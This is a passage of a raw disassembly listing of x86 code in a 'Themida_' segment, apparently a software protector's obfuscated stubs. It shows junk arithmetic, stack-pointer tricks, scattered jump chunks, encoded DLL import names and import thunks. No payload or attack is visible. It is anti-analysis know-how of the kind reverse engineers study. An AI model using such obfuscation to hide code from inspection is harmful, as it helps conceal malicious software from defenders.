; START OF FUNCTION CHUNK FOR sub_56755A
loc_56FF4A: ; CODE XREF: sub_56755A+8525j
pop ebx
sub edi, 5B823021h
and edi, 429D7EDCh
sub edi, 24A96D7Fh
xor edi, 9DE78A7Ch
jmp loc_55E3C7
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_55D71E
loc_56FF68: ; CODE XREF: sub_55D71E+1009Dj
push [esp+0Ch+var_C]
pop ebx
add esp, 4
push ebx
push eax
jmp loc_56A58E
; END OF FUNCTION CHUNK FOR sub_55D71E
; ---------------------------------------------------------------------------
loc_56FF79: ; CODE XREF: Themida_:0056C900j
add esi, edx
pop edx
push 16AFh
mov [esp], eax
push ebp
mov ebp, 4
mov eax, ebp
pop ebp
sub esi, eax
pop eax
jmp loc_56429D
; ---------------------------------------------------------------------------
loc_56FF95: ; CODE XREF: Themida_:0056A892j
xchg eax, edi
not edi
jmp loc_564AB9
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_56FF9D: ; CODE XREF: sub_56755A-4FD9j
add [esp+8+var_4], 79345518h
push esi
mov esi, 6E18683Ah
sub [esp+0Ch+var_4], 7A5B1FF0h
sub [esp+0Ch+var_4], esi
add [esp+0Ch+var_4], 7A5B1FF0h
jmp loc_56A6DD
; ---------------------------------------------------------------------------
loc_56FFC4: ; CODE XREF: sub_56755A+5913j
sub eax, 9EA68D1Ah
sub ebx, 7DDC6D8Bh
sub ebx, 47B3AF4h
add ebx, eax
add ebx, 47B3AF4h
add ebx, 7DDC6D8Bh
jmp loc_56A368
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_562F50
loc_56FFE8: ; CODE XREF: sub_562F50+6044j
pop ebx
push [esp-4+arg_0]
pop eax
push 62B4h
mov [esp+0], eax
mov eax, esp
push edx
mov edx, 3FBE26EFh
push ebp
mov ebp, 3C0B64A5h
shr ebp, 8
neg ebp
jmp loc_56F6EE
; END OF FUNCTION CHUNK FOR sub_562F50
; ---------------------------------------------------------------------------
loc_57000D: ; CODE XREF: Themida_:0055CBD3j
add eax, 4
add eax, 4
xchg eax, [esp]
pop esp
push esi
mov esi, 4
add ebx, esi
jmp loc_569813
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_570026: ; CODE XREF: sub_56755A-1265j
sub ecx, 473D6443h
add ecx, 299F2ECDh
pop ebx
sub ecx, 4
jmp loc_565713
; ---------------------------------------------------------------------------
loc_57003B: ; CODE XREF: sub_56755A+13CDj
push ecx
mov ecx, 74154C0Eh
sub ecx, 0A624515Fh
sub edi, ecx
jmp loc_56E0AD
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_57004E: ; CODE XREF: Themida_:005620DCj
push 50AFh
mov [esp], esi
push esp
jmp loc_568A83
; ---------------------------------------------------------------------------
loc_57005C: ; CODE XREF: Themida_:0056115Cj
add eax, ebp
pop ebp
jmp loc_56D95C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56971C
loc_570064: ; CODE XREF: sub_56971C+Cj
pop eax
xor eax, 4C417FD6h
shl eax, 3
jmp loc_568C44
; END OF FUNCTION CHUNK FOR sub_56971C
; ---------------------------------------------------------------------------
loc_570072: ; CODE XREF: Themida_:0056D907j
mov bx, [esp]
push ebp
jmp loc_566F17
; ---------------------------------------------------------------------------
loc_57007C: ; CODE XREF: Themida_:0056E9CAj
add dword ptr [esp], 1
pop edi
jmp loc_56B1D1
; ---------------------------------------------------------------------------
loc_570086: ; CODE XREF: Themida_:005645D3j
sub dh, ch
mov ecx, [esp]
add esp, 4
mov bl, dh
pop edx
shr bl, 6
inc bl
sub bl, 0FFh
push bx
not byte ptr [esp]
pop bx
push 349Dh
mov [esp], eax
mov ah, 6Ah
add ah, 0FCh
push ebx
mov bl, 0FAh
xor ah, bl
jmp loc_56ADAD
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56C86A
loc_5700B7: ; CODE XREF: sub_56C86A-37BEj
mov cx, [esp+0]
push edi
push esp
pop edi
add edi, 4
push eax
mov eax, 2
add edi, eax
pop eax
xchg edi, [esp+4+var_4]
mov esp, [esp+4+var_4]
sub bl, al
push edx
jmp loc_55F4C1
; END OF FUNCTION CHUNK FOR sub_56C86A
; ---------------------------------------------------------------------------
lodsd
sub esp, 4
mov [esp], ecx
jmp loc_5663AB
; ---------------------------------------------------------------------------
loc_5700EA: ; CODE XREF: Themida_:00560731j
xor dh, 0C6h
jmp loc_55D0F1
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_5700F2: ; CODE XREF: sub_56755A+5EADj
sub edx, 223076B0h
pop ecx
add edx, eax
push edi
mov edi, 658252E1h
neg edi
jmp loc_55D41E
; ---------------------------------------------------------------------------
loc_570108: ; CODE XREF: sub_56755A+8727j
mov eax, [esp+1Ah+var_1C+2]
add esp, 4
add ebx, 4
xor ebx, [esp+16h+var_18+2]
xor [esp+16h+var_18+2], ebx
jmp loc_565245
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_57011F: ; CODE XREF: Themida_:0056207Dj
push esp
jmp loc_55F69D
; ---------------------------------------------------------------------------
loc_570125: ; CODE XREF: Themida_:0056EB90j
mov [esp], eax
mov eax, 1EB055Bh
push esi
push 1D7206BFh
pop esi
dec esi
push edx
mov edx, 57A15188h
shl edx, 7
sub edx, 859657A9h
jmp loc_56D62D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5687A9
loc_570149: ; CODE XREF: sub_5687A9-63F1j
mov ebp, edx
jmp loc_563090
; END OF FUNCTION CHUNK FOR sub_5687A9
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56971C
loc_570150: ; CODE XREF: sub_56971C-60C1j
shl eax, 3
push 3915h
mov [esp+0Ch+var_C], edi
jmp loc_5648DD
; END OF FUNCTION CHUNK FOR sub_56971C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_570160: ; CODE XREF: sub_56755A+3406j
push eax
mov eax, esp
jmp loc_56C4D8
; ---------------------------------------------------------------------------
loc_570168: ; CODE XREF: sub_56755A+5150j
push edi
push ebp
mov ebp, 34DF4F90h
not ebp
or ebp, 46AA6062h
not ebp
push esi
mov esi, 0B2E4ADAEh
jmp loc_567D77
; ---------------------------------------------------------------------------
loc_570184: ; CODE XREF: sub_56755A-B90Bj
mov [esp+16h+var_18+2], eax
mov eax, 3DBC1085h
jmp sub_565DC4
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
push dword ptr [esp]
pop eax
push 4BBCh
mov [esp], ebp
jmp loc_55D7C3
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_5701A2: ; CODE XREF: sub_56755A+66E4j
pop eax
mov edx, ecx
mov ecx, [esp+4+var_4]
add esp, 4
push ecx
mov ecx, edx
mov [edi+20h], ecx
pop ecx
push dword ptr [esp+0]
pop edx
push edx
push esp
jmp loc_55EDC0
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_569E65
loc_5701C0: ; CODE XREF: sub_569E65+1j
push 15AFh
mov [esp+8+var_8], ebx
mov ebx, 6E5778C0h
add ebx, 9B72E237h
jmp loc_564D83
; END OF FUNCTION CHUNK FOR sub_569E65
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_5701D8: ; CODE XREF: sub_56755A-BC46j
add ebp, 4
xchg ebp, [esp+8+var_8]
pop esp
sub esp, 4
mov [esp+8+var_8], esi
push 2162h
mov [esp+0Ch+var_C], esp
push ebx
mov ebx, 4
add [esp+10h+var_C], ebx
pop ebx
jmp loc_56EC34
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5635DE
loc_570200: ; CODE XREF: sub_5635DE+37B2j
pop edx
add esp, 4
push [esp+4+var_4]
mov esi, [esp+8+var_8]
push edx
push esp
pop edx
push edi
mov edi, 2FB7F48h
jmp loc_55CD67
; END OF FUNCTION CHUNK FOR sub_5635DE
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_570218: ; CODE XREF: sub_56755A+1CEj
jmp loc_55B555
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_57021D: ; CODE XREF: Themida_:0055DF8Cj
pop edx
jmp loc_55B555
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_55FDEF
loc_570223: ; CODE XREF: sub_55FDEF+337j
add edx, 4
jmp loc_56EE0E
; END OF FUNCTION CHUNK FOR sub_55FDEF
; ---------------------------------------------------------------------------
loc_57022E: ; CODE XREF: Themida_:0056092Dj
sub esp, 4
mov [esp], edx
mov edx, esp
push ecx
mov ecx, 37972D5Bh
shl ecx, 5
not ecx
add ecx, 17620ACFh
xor ecx, 247C5F6Ah
add edx, ecx
pop ecx
jmp loc_56FB44
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_570258: ; CODE XREF: sub_56755A+29F2j
add esp, 4
xor eax, [esp+2+var_4+2]
xor [esp+2+var_4+2], eax
xor eax, [esp+2+var_4+2]
mov esp, [esp+2+var_4+2]
and byte ptr [esp+2+var_4+2], al
pushf
jmp loc_560593
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_570270: ; CODE XREF: Themida_:0056DBA1j
add ecx, edi
pop edi
jmp loc_55F256
; ---------------------------------------------------------------------------
loc_570278: ; CODE XREF: Themida_:0056F58Aj
mov esp, [esp]
movzx cx, al
jmp loc_56E7B4
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_570284: ; CODE XREF: sub_56755A+674Dj
mov esp, [esp+24h+var_24]
sub esp, 4
mov [esp+28h+var_28], ecx
sub esp, 4
mov [esp+2Ch+var_2C], ebx
push edx
mov dl, 0Bh
mov bh, 0C1h
jmp loc_55B935
; ---------------------------------------------------------------------------
loc_5702A0: ; CODE XREF: sub_56755A-708Fj
mov ebp, 153C1709h
jmp loc_56C633
; ---------------------------------------------------------------------------
loc_5702AA: ; CODE XREF: sub_56755A+29Bj
add bl, dh
mov edx, [esp-8+arg_4]
jmp loc_563322
; ---------------------------------------------------------------------------
loc_5702B4: ; CODE XREF: sub_56755A-48ECj
pop esp
or eax, eax
jz loc_56A122
push dword ptr [edi+1Ch]
jmp loc_55DD03
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5636A9
loc_5702C5: ; CODE XREF: sub_5636A9-37FEj
add edx, 4
add edx, 4
xchg edx, [esp+8+var_8]
pop esp
movzx eax, al
jmp loc_56EF35
; END OF FUNCTION CHUNK FOR sub_5636A9
; =============== S U B R O U T I N E =======================================
sub_5702DD proc near ; CODE XREF: sub_56755A-8C2Ej
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
; FUNCTION CHUNK AT 0055E3B1 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0055FE42 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00560693 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00563CBF SIZE 0000000E BYTES
; FUNCTION CHUNK AT 005640D2 SIZE 00000049 BYTES
; FUNCTION CHUNK AT 005694A5 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0056D576 SIZE 0000000A BYTES
sub esp, 4
mov [esp+4+var_4], ebx
jmp loc_55FE42
sub_5702DD endp ; sp-analysis failed
; ---------------------------------------------------------------------------
loc_5702EB: ; CODE XREF: Themida_:0055EA09j
sub esp, 4
mov [esp], ecx
push ebx
push edi
mov edi, 3B81480Ah
sub edi, 1C0AF1C9h
mov ebx, edi
pop edi
add ebx, 1
xchg ecx, ebx
not ecx
xchg ecx, ebx
push eax
mov eax, 35103BB9h
jmp loc_55E78E
; ---------------------------------------------------------------------------
loc_570318: ; CODE XREF: Themida_:005614B7j
add eax, 7A320D5h
sub eax, ebx
jmp loc_55E267
; ---------------------------------------------------------------------------
loc_570324: ; CODE XREF: Themida_:00562D9Aj
mov ebp, 32A2363Eh
jmp loc_564DB6
; ---------------------------------------------------------------------------
loc_57032E: ; CODE XREF: Themida_:0056ADF4j
mov ecx, esp
add ecx, 4
jmp loc_56C5F1
; ---------------------------------------------------------------------------
mov ax, [esp]
push 79F4h
mov [esp], edi
mov edi, esp
jmp loc_56921A
; ---------------------------------------------------------------------------
loc_57034E: ; CODE XREF: Themida_:0055E7B8j
add eax, 34A208AFh
add eax, 7AB71C9Ch
push 286Ch
mov [esp], ecx
push edx
mov edx, 52BC2C69h
jmp loc_56EB67
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_57036B: ; CODE XREF: sub_56755A+8789j
mov ecx, [esp+14h+var_14]
add esp, 4
jmp loc_56DA47
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5615A9
loc_570376: ; CODE XREF: sub_5615A9+E3Ej
mov dh, 43h
push ecx
mov cl, 0B1h
add cl, 9Fh
neg cl
jmp loc_56DF07
; END OF FUNCTION CHUNK FOR sub_5615A9
; ---------------------------------------------------------------------------
loc_570385: ; CODE XREF: Themida_:00569586j
mov cl, 33h
mov dl, cl
mov ecx, [esp]
push ebp
mov ebp, esp
add ebp, 4
push eax
push ebp
mov ebp, 4
mov eax, ebp
pop ebp
add ebp, eax
pop eax
xchg ebp, [esp]
pop esp
xor al, dl
mov edx, [esp]
push ecx
jmp loc_56B794
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_5703B1: ; CODE XREF: sub_56755A+C14j
push ecx
jmp loc_5625DC
; ---------------------------------------------------------------------------
loc_5703B7: ; CODE XREF: sub_56755A-38F7j
add eax, ecx
add eax, 3C154E5h
pop ecx
push 0D4h
mov [esp+4+var_4], eax
push dword ptr [esp+4]
pop eax
pop [esp+4+var_4]
pop esp
imul cx
jmp loc_561616
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
push dword ptr [esp]
jmp loc_568676
; ---------------------------------------------------------------------------
loc_5703E0: ; CODE XREF: Themida_:0056E63Aj
dec esi
push esi
not dword ptr [esp]
mov esi, [esp]
jmp loc_55EB6A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_566504
loc_5703ED: ; CODE XREF: sub_566504-6F5j
sub esi, 25145C6Dh
jmp loc_5672B2
; END OF FUNCTION CHUNK FOR sub_566504
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_5703F8: ; CODE XREF: sub_56755A-664Fj
mov ebx, ecx
jmp loc_56BD10
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
lodsb
jmp loc_561BB7
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_570405: ; CODE XREF: sub_56755A+927j
pop esi
add ebx, 4
jmp loc_56FB85
; ---------------------------------------------------------------------------
loc_570411: ; CODE XREF: sub_56755A-BB95j
mov esi, esp
add esi, 4
sub esi, 4
xchg esi, [esp+8+var_8]
jmp loc_5650F3
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_570427: ; CODE XREF: Themida_:0056B303j
mov ebp, [esp]
add esp, 4
push edi
mov edi, 1E8460BFh
dec edi
xor edi, 7F1B6E79h
or edi, 475F4C4Bh
shl edi, 3
add edi, 0C105898Ah
jmp loc_564AF9
; ---------------------------------------------------------------------------
loc_57044E: ; CODE XREF: Themida_:0055E179j
add edx, esi
pop esi
add edx, 4
jmp loc_56B555
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_561BE4
loc_57045C: ; CODE XREF: sub_561BE4-114Dj
add [esp+8+var_8], 0A7A4070h
pop ebx
push ebp
mov ebp, 22252680h
sub ebp, 41F35464h
sub ebp, 0D5B791ACh
sub ebx, ebp
mov ebp, [esp+8+var_8]
add esp, 4
pop eax
and eax, ebx
push dword ptr [esp+0]
jmp loc_56E105
; END OF FUNCTION CHUNK FOR sub_561BE4
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_57048C: ; CODE XREF: sub_56755A-AD40j
push [esp-8+arg_4]
pop edi
add esp, 4
sub edi, 764A3CEFh
sub edi, ebx
add edi, 764A3CEFh
push [esp-0Ch+arg_8]
pop ebx
jmp loc_567A28
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_5704AA: ; CODE XREF: Themida_:0056405Bj
pop edx
mov edi, [esp]
jmp loc_56C9AF
; ---------------------------------------------------------------------------
loc_5704B3: ; CODE XREF: Themida_:0056BC78j
sub ecx, 4
xchg ecx, [esp]
mov esp, [esp]
mov [esp], ebx
mov bh, 3Dh
neg bh
and bh, 8Ah
inc bh
and bh, 9Ah
push ecx
push eax
mov ah, 1
jmp loc_55BD01
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_5704D7: ; CODE XREF: sub_56755A+3DD6j
sub ecx, 7A895864h
jmp loc_5642A5
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_5704E2: ; CODE XREF: Themida_:00564E0Bj
mov edx, 0FA54850h
push eax
mov eax, 560B2071h
xor eax, 27F31511h
and eax, 6061468Ch
jmp loc_55D341
; ---------------------------------------------------------------------------
mov ax, [esp]
push ecx
sub esp, 4
mov [esp], esp
push edi
mov edi, 4
jmp loc_5664E2
; ---------------------------------------------------------------------------
loc_570512: ; CODE XREF: Themida_:005614BDj
mov esi, 7581F0Dh
and eax, esi
pop esi
jmp loc_56086A
; ---------------------------------------------------------------------------
loc_57051F: ; CODE XREF: Themida_:0056286Fj
add esp, 4
and ecx, 35C36FC4h
jmp loc_56CC9C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_570530: ; CODE XREF: sub_56755A-8787j
xchg edx, [esp+8+var_8]
mov esp, [esp+8+var_8]
loc_570536: ; CODE XREF: sub_56E89A-11DD1j
; sub_56E89A:loc_565C5Ej
push [esp+8+var_8]
mov ebx, [esp+0Ch+var_C]
jmp loc_56F2F3
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5615A9
loc_570541: ; CODE XREF: sub_5615A9+10j
sub al, dh
push cx
jmp loc_56CA71
; END OF FUNCTION CHUNK FOR sub_5615A9
; ---------------------------------------------------------------------------
loc_57054A: ; CODE XREF: Themida_:00561243j
push ebp
mov ebp, 395C2775h
add eax, ebp
pop ebp
push edi
jmp loc_5627C8
; ---------------------------------------------------------------------------
loc_570559: ; CODE XREF: Themida_:0056170Dj
mov edx, 657611B0h
neg edx
jmp loc_566969
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_570565: ; CODE XREF: sub_56755A-748Fj
sub eax, ecx
add eax, 14E1236Ch
pop ecx
jmp loc_55EC71
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_570572: ; CODE XREF: Themida_:005649E4j
mov ch, 64h
jmp loc_55F7E8
; ---------------------------------------------------------------------------
loc_570579: ; CODE XREF: Themida_:00566A84j
add esp, 4
push edx
mov edx, 73C919E8h
jmp loc_561A1B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_57058A: ; CODE XREF: sub_56755A-8253j
shl eax, 2
shl eax, 2
push ebp
mov ebp, 5B7E49FAh
shr ebp, 4
xor ebp, 3B08B096h
jmp loc_5629D4
; ---------------------------------------------------------------------------
loc_5705A4: ; CODE XREF: sub_56755A-6458j
mov ecx, [esp+1Eh+var_20+2]
add esp, 4
add eax, 4
jmp loc_562A98
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_5705B5: ; CODE XREF: Themida_:0056F111j
or ebx, 46021742h
add ebx, 2FE73C3Ch
dec ebx
jmp loc_563DEE
; ---------------------------------------------------------------------------
loc_5705C7: ; CODE XREF: Themida_:005639D1j
pop eax
add esi, ebp
pop ebp
sub esi, 47501520h
push edi
mov edi, 3E8537D8h
sub edi, 3E66EB5Bh
sub esi, edi
pop edi
push dword ptr [esp]
pop edx
jmp loc_56A06C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56E89A
loc_5705E9: ; CODE XREF: sub_56E89A+17j
add esp, 4
jmp loc_56F86E
; END OF FUNCTION CHUNK FOR sub_56E89A
; ---------------------------------------------------------------------------
loc_5705F1: ; CODE XREF: Themida_:005619DDj
pop edi
push dword ptr [esp]
pop edx
add esp, 4
jmp loc_567075
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56E1F0
loc_570601: ; CODE XREF: sub_56E1F0+5j
pop ebp
pop [esp+4+var_4]
mov esp, [esp+0]
sub edi, 4C470F8Fh
jmp sub_5643B1
; END OF FUNCTION CHUNK FOR sub_56E1F0
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56E89A
loc_570613: ; CODE XREF: sub_56E89A-4463j
xor esi, [esp+8+var_8]
mov esp, [esp+8+var_8]
mov eax, [esp+4+var_4]
add esp, 4
jmp loc_565C5E
; END OF FUNCTION CHUNK FOR sub_56E89A
; ---------------------------------------------------------------------------
loc_570627: ; CODE XREF: Themida_:00560F13j
inc edi
inc edi
jmp loc_56DA07
; ---------------------------------------------------------------------------
loc_57062E: ; CODE XREF: Themida_:00560873j
mov dh, ch
pop cx
jmp loc_56CD59
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56CB7D
loc_570637: ; CODE XREF: sub_56CB7D+122Cj
xchg ebp, [esp+10h+var_10]
pop esp
jmp loc_55DD87
; END OF FUNCTION CHUNK FOR sub_56CB7D
; ---------------------------------------------------------------------------
loc_570640: ; CODE XREF: Themida_:0056F343j
mov [esp], ebp
push esi
mov esi, esp
add esi, 4
sub esi, 4
xchg esi, [esp]
pop esp
jmp loc_569289
; ---------------------------------------------------------------------------
loc_570658: ; CODE XREF: Themida_:0055D058j
or ebp, 1EFC164Bh
jmp loc_5653AE
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_570663: ; CODE XREF: sub_56755A+4BB8j
jmp loc_55B555
; END OF FUNCTION CHUNK FOR sub_56755A
; =============== S U B R O U T I N E =======================================
sub_570668 proc near ; CODE XREF: sub_56755A-B1BFj
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
; FUNCTION CHUNK AT 0055C9AF SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0055D1FD SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0055D27E SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00560736 SIZE 00000021 BYTES
; FUNCTION CHUNK AT 0056296B SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00562DC9 SIZE 00000022 BYTES
; FUNCTION CHUNK AT 00563622 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00566362 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00568270 SIZE 00000022 BYTES
; FUNCTION CHUNK AT 00568DDD SIZE 00000018 BYTES
; FUNCTION CHUNK AT 005694B5 SIZE 00000020 BYTES
; FUNCTION CHUNK AT 005695E6 SIZE 0000000D BYTES
push ebx
push edx
mov edx, 69BB31A4h
jmp loc_562DC9
sub_570668 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_55DA88
loc_570674: ; CODE XREF: sub_55DA88+624Cj
mov ebx, 1901D8Ah
sub ebx, 16DE23DFh
sub esp, 4
mov [esp+0Ch+var_C], ecx
mov ecx, 3A0C648Fh
or ebx, ecx
pop ecx
and ebx, 629737B5h
push ebp
mov ebp, 5224027Ah
or ebp, 721249FFh
jmp loc_56A295
; END OF FUNCTION CHUNK FOR sub_55DA88
; ---------------------------------------------------------------------------
loc_5706A7: ; CODE XREF: Themida_:0056B3F1j
mov [esp], ebp
push ebx
jmp loc_564AB1
; ---------------------------------------------------------------------------
neg dword ptr [esp]
pushf
jmp loc_55D782
; ---------------------------------------------------------------------------
loc_5706B9: ; CODE XREF: Themida_:0055D106j
mov [esp], ecx
mov ch, 0A3h
add al, 0B9h
add al, ch
jmp loc_56569A
; ---------------------------------------------------------------------------
loc_5706C7: ; CODE XREF: Themida_:0055E14Aj
pop eax
mov edx, [esp]
jmp loc_56EBEC
; ---------------------------------------------------------------------------
loc_5706D0: ; CODE XREF: Themida_:00568552j
push dword ptr [esp]
jmp loc_55BF1D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_5706D8: ; CODE XREF: sub_56755A-2452j
xor ecx, [esp+30h+var_30]
mov esp, [esp+30h+var_30]
xor edx, 449D4AC4h
jmp loc_56389B
; END OF FUNCTION CHUNK FOR sub_56755A
; =============== S U B R O U T I N E =======================================
sub_5706E9 proc near ; CODE XREF: sub_56755A-33D3j
; FUNCTION CHUNK AT 0055F65D SIZE 0000000C BYTES
; FUNCTION CHUNK AT 005609A0 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00563D00 SIZE 00000020 BYTES
; FUNCTION CHUNK AT 00564096 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00566940 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00568EB3 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005690F9 SIZE 00000020 BYTES
; FUNCTION CHUNK AT 00569431 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0056AF28 SIZE 00000012 BYTES
push ebx
push ebp
push 23445C07h
pop ebp
jmp loc_5609A0
sub_5706E9 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
loc_5706F6: ; CODE XREF: Themida_:00564B42j
mov edx, 4
add edi, edx
pop edx
xchg edi, [esp]
jmp loc_56ECED
; ---------------------------------------------------------------------------
lodsd
xor eax, ebx
push edx
push 2D68h
mov [esp], ebp
jmp loc_55F78F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_55DA88
loc_570717: ; CODE XREF: sub_55DA88+C818j
mov ebx, [esp+8+var_8]
jmp loc_55E53A
; END OF FUNCTION CHUNK FOR sub_55DA88
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_57071F: ; CODE XREF: sub_56755A+5B73j
shr esi, 4
shl esi, 5
xor esi, 46134BC2h
not esi
or esi, 526458ABh
add esi, 7CAC4D14h
xor esi, 4329497Ah
or ecx, esi
pop esi
xor ecx, 5F322205h
push esi
mov esi, ecx
mov edx, esi
pop esi
mov ecx, [esp+28h+var_28]
add esp, 4
xor edx, edi
jmp loc_55CD5E
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_57075E: ; CODE XREF: Themida_:0056C22Bj
push ebp
mov ebp, 4
push edi
jmp loc_562A04
; ---------------------------------------------------------------------------
loc_57076A: ; CODE XREF: Themida_:0056F820j
mov dl, ch
jmp loc_568355
; ---------------------------------------------------------------------------
loc_570771: ; CODE XREF: Themida_:0056FE5Aj
add esp, 4
xor ebp, [esp]
xor [esp], ebp
xor ebp, [esp]
mov esp, [esp]
btr [esp], ax
pushf
jmp loc_56EBCD
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_57078E: ; CODE XREF: sub_56755A+3B09j
push 3
mov [esp+8+var_8], edx
push ebx
xor [esp+0Ch+var_C], 3EC77B30h
pop edx
push ecx
mov ecx, 6E797728h
jmp loc_563E3D
; ---------------------------------------------------------------------------
loc_5707AA: ; CODE XREF: sub_56755A-473Fj
mov edi, edx
mov edx, [esp+8+var_8]
jmp loc_55D96F
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5643BC
loc_5707B4: ; CODE XREF: sub_5643BC+1j
mov ebp, 7F753E71h
and ebp, 48A53F99h
push edx
push 1D6B2925h
pop edx
jmp loc_56F37F
; END OF FUNCTION CHUNK FOR sub_5643BC
; ---------------------------------------------------------------------------
loc_5707CB: ; CODE XREF: Themida_:0054E730j
jmp loc_570837
; ---------------------------------------------------------------------------
dd 68FE6F00h, 52455355h, 642E3233h, 41006C6Ch, 50415644h
dd 2E323349h, 6C6C64h, 4C44544Eh, 6C642E4Ch, 7D7006Ch
dd 20008h, 0F0007h, 90022h, 232h, 0Bh dup(0)
db 3 dup(0)
; ---------------------------------------------------------------------------
loc_570837: ; CODE XREF: Themida_:loc_5707CBj
jmp loc_5710B1
; ---------------------------------------------------------------------------
push 6149F35h
jmp loc_54EA15
; ---------------------------------------------------------------------------
push 6149FA1h
jmp loc_54EA15
; ---------------------------------------------------------------------------
push 614A0BDh
jmp loc_54EA15
; ---------------------------------------------------------------------------
push 614A1F1h
jmp loc_54EA15
; ---------------------------------------------------------------------------
push 614A25Dh
jmp loc_54EA15
; ---------------------------------------------------------------------------
push 614A32Ch
jmp loc_54EA15
; ---------------------------------------------------------------------------
push 614A3A8h
jmp loc_54EA15
; ---------------------------------------------------------------------------
dw 887Bh
dd 9A8E7E1Ch, 0AAA29230h, 0C4BAAA48h, 0DBD0C05Eh, 968D573h
